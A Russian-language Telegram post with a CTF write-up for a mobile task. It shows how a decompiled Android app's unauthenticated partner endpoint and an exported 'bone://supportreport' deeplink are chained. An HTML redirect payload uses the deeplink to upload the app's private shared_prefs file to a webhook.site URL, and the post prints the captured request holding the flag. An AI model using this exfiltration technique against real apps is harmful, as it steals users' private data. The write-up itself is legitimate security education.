Райтапы по CTF{2025}
2.84K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
#mobile #tctf2025
Капибивень

Декомпилируем (при помощи jadx, например)
По пути com.epriori.bone.domain.api находим следующий класс:
public interface Api {
    @FormUrlEncoded
    @POST("/api/partners/add")
    Object addPartner(@Field("name") String str, @Field("homePageUrl") String str2, Continuation<? super Response<Unit>> continuation);

    @POST("/api/approve")
    Object approve(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);

    @GET("/api/partners")
    Object getPartners(Continuation<? super Response<List<Partners>>> continuation);

    @GET("/api/posts")
    Object getPosts(Continuation<? super Response<List<Post>>> continuation);

    @GET("/api/unapproved")
    Object getUnapproved(@Query("secret") String str, Continuation<? super Response<List<Partners>>> continuation);

    @POST("/api/reject")
    Object reject(@Field("secret") String str, @Field("url") String str2, Continuation<? super Response<Unit>> continuation);
}

Из него мы видим, что есть какой-то secret, который мы не знаем, и есть незащищенные ручки, в частности /api/partners/add с query parameters name и homePageUrl
Попробуем добавить в homePageUrl свой url своего сервера и увидим, что туда ходит бот!

Далее в AndroidManifest.xml:
            <intent-filter>
                <action android:name="android.intent.action.VIEW"/>
                <category android:name="android.intent.category.DEFAULT"/>
                <category android:name="android.intent.category.BROWSABLE"/>
                <data android:host="supportreport" android:scheme="bone"/>
            </intent-filter>

Гуглим и находим, что в теге data зарегистрирован так называемый deeplink bone://supportreport, который вызывает Intent функцию у нашего приложения:
private final void handleIntent(Intent intent) {
        String action = intent.getAction();
        Uri data = intent.getData();
        if (!Intrinsics.areEqual("android.intent.action.VIEW", action) || data == null) {
            return;
        }
        String queryParameter = data.getQueryParameter("file");
        String queryParameter2 = data.getQueryParameter(ImagesContract.URL);
        if (queryParameter != null && queryParameter2 != null) {
            createTempFileAndSend(queryParameter, queryParameter2);
        } else {
            Toast.makeText(this, "Неверные параметры в deeplink", 0).show();
        }
    }

Отсюда понимаем, что у deeplink есть 2 параметра - ImagesContract.URL = "url" и file. Покопав код и подебажив код, обнаруживаем, что при помощи deeplink мы можем отправлять файлы с локального устройства на любой url. Однако методом тыка обнаруживаем, что бот не ходит на bone:// ссылки изначально. Поэтому добавляем на наш сайт редирект на ссылку bone://, где file это сохраненный SharedPreferences в формате .xml:
<!DOCTYPE html>
<script>
  window.location.href = "bone://supportreport?file=/data/data/com.epriori.bone/shared_prefs/moderator_info.xml&url=https://webhook.site/b125b29d-ab76-403d-b8c1-0a431370b7f3";
</script>

Ну и на наш сервер прилетает ответ:
POST / HTTP/1.1
Host: l.requestcatcher.com
Accept-Encoding: gzip
Connection: Keep-Alive
Content-Length: 340
Content-Type: multipart/form-data; boundary=1875aa9b-8256-4409-95a4-b2781be8c082
User-Agent: okhttp/3.14.9

--1875aa9b-8256-4409-95a4-b2781be8c082
Content-Disposition: form-data; name="file"; filename="moderator_info.xml"
Content-Type: text/plain
Content-Length: 131

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
    <string name="moderator_key">tctf{b3_CArEFul_W1Th_7H3_dE3P_L1nk}</string>
</map>

--1875aa9b-8256-4409-95a4-b2781be8c082--


Автор: @tonysdx

💬 Канал & Чат & Бот с тасками | 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1211